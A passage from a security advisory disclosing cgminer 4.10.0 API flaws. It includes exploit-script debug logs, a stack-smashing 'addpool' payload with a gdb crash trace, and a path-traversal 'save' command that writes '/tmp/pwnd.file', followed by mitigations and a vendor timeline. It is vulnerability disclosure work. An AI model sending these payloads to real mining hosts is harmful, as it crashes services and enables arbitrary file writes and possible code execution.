[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'config' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'Y', u'Exists': u'Y'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "privileged", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'privileged' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'Y', u'Exists': u'Y'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "gpurestart", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'gpurestart' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'N', u'Exists': u'N'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "pgaidentify", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'pgaidentify' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'N', u'Exists': u'N'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "gpucount", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'gpucount' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'N', u'Exists': u'N'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "gpudisable", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'gpudisable' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'N', u'Exists': u'N'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "gpuintensity", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'gpuintensity' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'N', u'Exists': u'N'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "procenable", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'procenable' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'N', u'Exists': u'N'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "gpuengine", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'gpuengine' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'N', u'Exists': u'N'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "asc", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'asc' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'N', u'Exists': u'N'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "pools", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'pools' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'Y', u'Exists': u'Y'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "lcd", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'lcd' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'Y', u'Exists': u'Y'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "cpucount", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'cpucount' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'N', u'Exists': u'N'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "gpu", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'gpu' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'N', u'Exists': u'N'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "procidentify", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'procidentify' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'N', u'Exists': u'N'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "coin", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'coin' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'Y', u'Exists': u'Y'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "cpudisable", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'cpudisable' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'N', u'Exists': u'N'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "pgaset", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'pgaset' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'N', u'Exists': u'N'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "restart", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'restart' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'Y', u'Exists': u'Y'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "procnotify", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'procnotify' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'N', u'Exists': u'N'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "pgadisable", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'pgadisable' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'N', u'Exists': u'N'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "proccount", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'proccount' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'N', u'Exists': u'N'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "setconfig", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'setconfig' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'Y', u'Exists': u'Y'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "lockstats", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'lockstats' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'Y', u'Exists': u'Y'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "proc", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'proc' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'N', u'Exists': u'N'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "procset", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'procset' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'N', u'Exists': u'N'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "enablepool", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'enablepool' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'Y', u'Exists': u'Y'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "summary", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'summary' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'Y', u'Exists': u'Y'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "devs", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'devs' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'Y', u'Exists': u'Y'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "devscan", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'devscan' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'N', u'Exists': u'N'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "removepool", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'removepool' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'Y', u'Exists': u'Y'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "poolpriority", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'poolpriority' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'Y', u'Exists': u'Y'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "cpu", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'cpu' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'N', u'Exists': u'N'}], u'id': 1}

[cgminer.py -             <module>() ][    INFO] [+] Capabilities: ['version', 'asccount', 'disablepool', 'hotplug', 'estats', 'zero', 'usbstats', 'failover-only', 'notify', 'edevs', 'poolquota', 'addpool', 'check', 'devdetails', 'quit', 'stats', 'switchpool', 'setconfig', 'pgacount', 'save', 'config', 'privileged', 'debug', 'lcd', 'coin', 'restart', 'lockstats', 'pools', 'enablepool', 'summary', 'devs', 'removepool', 'poolpriority']

[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: 'addpool|===...===\n'
[cgminer.py -             <module>() ][   ERROR] ValueError('need more than 1 value to unpack',)
[cgminer.py -             <module>() ][ WARNING] Remote host died :/
[cgminer.py -             <module>() ][    INFO] --done--

This causes a stack buffer overwrite resulting in a corrupted stack and subsequent crash of the application.

 [xxxx] API: connection from 192.168.2.106 - Accepted
 [xxxx] API: recv command: (8009) 'addpool|============================================================================================================================================================================================================================
addpool ===...===

Thread 71 "cg@API" received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x7ffff1cd9700 (LWP 40933)]
0x000055555558fb22 in api_add_data_full (root=0x5c3d5c3d5c3d5c3d, name=0x5555555b0907 "STATUS", type=API_STRING,
    data=0x7ffff1cd1750, copy_data=false) at api.c:887
887                     api_data->prev = root->prev;


(gdb) i r
rax            0x5c3d5c3d5c3d5c3d       6646570043679005757
rbx            0x57     87
rcx            0x535554 5461332
rdx            0x1      1
rsi            0x54415453       1413567571
rdi            0x7fffa4000c70   140735944854640
rbp            0x7ffff1cd16e0   0x7ffff1cd16e0
rsp            0x7ffff1cd15b0   0x7ffff1cd15b0
r8             0x0      0
r9             0x3e9b   16027
r10            0x7fffa4000c70   140735944854640
r11            0x7ffff1cd55ea   140737250153962
r12            0x0      0
r13            0x7fffffffc0ff   140737488339199
r14            0x7ffff1cd99c0   140737250171328
r15            0x7ffff1cd9700   140737250170624
rip            0x55555558fb22   0x55555558fb22 <api_add_data_full+184>
eflags         0x10202  [ IF RF ]
cs             0x33     51
ss             0x2b     43
ds             0x0      0
es             0x0      0
fs             0x0      0
gs             0x0      0

(gdb) where
#0  0x000055555558fb22 in api_add_data_full (root=0x5c3d5c3d5c3d5c3d, name=0x5555555b0907 "STATUS", type=API_STRING,
    data=0x7ffff1cd1750, copy_data=false) at api.c:887
#1  0x0000555555590100 in api_add_string (root=0x5c3d5c3d5c3d5c3d, name=0x5555555b0907 "STATUS", data=0x7ffff1cd1750 "E",
    copy_data=false) at api.c:999
#2  0x00005555555916bf in message (io_data=0x7fffa4001090, messageid=53, paramid=0,
    param2=0x7fffa401b830 "\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\="..., isjson=false) at api.c:1507
#3  0x5c3d5c3d5c3d5c3d in ?? ()
#4  0x5c3d5c3d5c3d5c3d in ?? ()
#5  0x5c3d5c3d5c3d5c3d in ?? ()
#6  0x5c3d5c3d5c3d5c3d in ?? ()
#7  0x5c3d5c3d5c3d5c3d in ?? ()
#8  0x5c3d5c3d5c3d5c3d in ?? ()
#9  0x5c3d5c3d5c3d5c3d in ?? ()
#10 0x5c3d5c3d5c3d5c3d in ?? ()
#11 0x5c3d5c3d5c3d5c3d in ?? ()
#12 0x5c3d5c3d5c3d5c3d in ?? ()
#13 0x5c3d5c3d5c3d5c3d in ?? ()
#14 0x5c3d5c3d5c3d5c3d in ?? ()
#15 0x5c3d5c3d5c3d5c3d in ?? ()
#16 0x5c3d5c3d5c3d5c3d in ?? ()
#17 0x5c3d5c3d5c3d5c3d in ?? ()
#18 0x5c3d5c3d5c3d5c3d in ?? ()
#19 0x5c3d5c3d5c3d5c3d in ?? ()
#20 0x5c3d5c3d5c3d5c3d in ?? ()
#21 0x5c3d5c3d5c3d5c3d in ?? ()
#22 0x5c3d5c3d5c3d5c3d in ?? ()
#23 0x5c3d5c3d5c3d5c3d in ?? ()
#24 0x5c3d5c3d5c3d5c3d in ?? ()
#25 0x5c3d5c3d5c3d5c3d in ?? ()
#26 0x5c3d5c3d5c3d5c3d in ?? ()
#27 0x5c3d5c3d5c3d5c3d in ?? ()
#28 0x5c3d5c3d5c3d5c3d in ?? ()

(gdb) bt full
#0  0x000055555558fb22 in api_add_data_full (root=0x5c3d5c3d5c3d5c3d, name=0x5555555b0907 "STATUS", type=API_STRING,
    data=0x7ffff1cd1750, copy_data=false) at api.c:887
        api_data = 0x7fffa4001c30
        __func__ = "api_add_data_full"
#1  0x0000555555590100 in api_add_string (root=0x5c3d5c3d5c3d5c3d, name=0x5555555b0907 "STATUS", data=0x7ffff1cd1750 "E",
    copy_data=false) at api.c:999
No locals.
#2  0x00005555555916bf in message (io_data=0x7fffa4001090, messageid=53, paramid=0,
    param2=0x7fffa401b830 "\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\="..., isjson=false) at api.c:1507
        root = 0x5c3d5c3d5c3d5c3d
        buf = "Invalid addpool details '\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\"...
        severity = "E"
        i = 1547525181
        id = 0
#3  0x5c3d5c3d5c3d5c3d in ?? ()
No symbol table info available.
#4  0x5c3d5c3d5c3d5c3d in ?? ()
No symbol table info available.
#5  0x5c3d5c3d5c3d5c3d in ?? ()
No symbol table info available.
#6  0x5c3d5c3d5c3d5c3d in ?? ()
No symbol table info available.
...

It is clearly visible that the stack has been smashed by the string \= (0x5c3d).

  1. [vector 2] absolute path traversal in save allows to write the node configuration file to any location on the host not protected by any basedir restrictions.
...
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "/tmp/pwnd.file", "command": "save"}\n'
[cgminer.py -             <module>() ][    INFO] --done--
{u'STATUS': [{u'STATUS': u'S', u'Msg': u"Configuration saved to file '/tmp/pwnd.file'", u'Code': 44, u'When': xxxxx, u'Description': u'cgminer 4.10.0'}], u'id': 1}

This will store the node's configuration file with the permissions of the user that launched the process as /tmp/pwnd.file on the host computer. This could very likely be used to gain RCE by planting scripting code into webroots on the same host or overwriting arbitrary files.

Miner Log:

...
 [xxxx] API: connection from 192.168.2.106 - Accepted
 [xxxx] API: recv command: (51) '{"parameter": "/tmp/pwnd.file", "command": "save"}
 [xxxx] API: send reply: (147) '{"STATUS":...'
 [xxxx] API: sent all of 147 first go
...

Host Computer:

#> stat /tmp/pwnd.file
  File: '/tmp/pwnd.file'
  Size: 2384            Blocks: 8          IO Block: 4096   regular file
Device: 801h/2049d      Inode: 681465      Links: 1
Access: (0664/-rw-rw-r--)  Uid: ( 1000/     tin)   Gid: ( 1000/     tin)
Access: xxxx
Modify: xxxx
Change: xxxx
 Birth: -

#> cat /tmp/pwnd.file
{
"pools" : [
        {
                "url" : "stratum+tcp://ltc-eu.give-me-coins.com:3334",
                "user" : "a",
                "pass" : "a"
        },
 ...
]
,
"api-allow" : "W:0/0",
"api-description" : "cgminer 4.10.0",
"api-listen" : true,
"api-mcast-addr" : "224.0.0.75",
"api-mcast-code" : "FTW",
"api-mcast-des" : "",
"api-mcast-port" : "4028",
"api-port" : "4028",
"api-host" : "0.0.0.0",
"fallback-time" : "120",
"log" : "5",
"shares" : "0",
"suggest-diff" : "0",
"text-only" : true,
"verbose" : true
}

Patch / Mitigation

* input validation/sanitation
* use safe string handling functions
* path restriction
* enforce transport security
* authenticate api; wait for specific command to leak banner; remove readonly commands and authenticate them

Notes

  • Timeline

    02/25/2018 - vendor contact: report sent to cgminer / bfgminer
    02/26/2018 - vendor response (cgminer):
                  ACK'd that the informtion was received.
                 vendor response (bfgminer):
                  VU #1: Minor since it only applies to trusted connections. Will plan to fix in the next release (do you have a patch already?).
                  VU #2: Intended behaviour, not a bug.
                  VU #3: Not a vulnerability. All information "leaked" is non-sensitive.
                  VU #4: I do not consider this to be a vulnerability. The interface is only intended for use on trusted networks.
    03/05/2018 - request for update on patch timeline (cgminer and bfgminer)
    03/05/2018 - vendor response (cgminer)
                  no update yet
                 vendor response (bfgminer)
                  - no response -
    06/03/2018 - public disclosure
    
  • Vendor Changelog

    06/03/2018 - *still not fixed* therefore public disclosure
    

References

[1] https://github.com/ckolivas/cgminer/releases
[2] https://bitcointalk.org/index.php?topic=28402.0
[3] https://github.com/luke-jr/bfgminer
[4] http://bfgminer.org/
[5] https://bitcointalk.org/?topic=877081
[6] https://www.shodan.io/search?query=Msg%3DInvalid+command%2CDescription%3D

Contact

https://github.com/tintinweb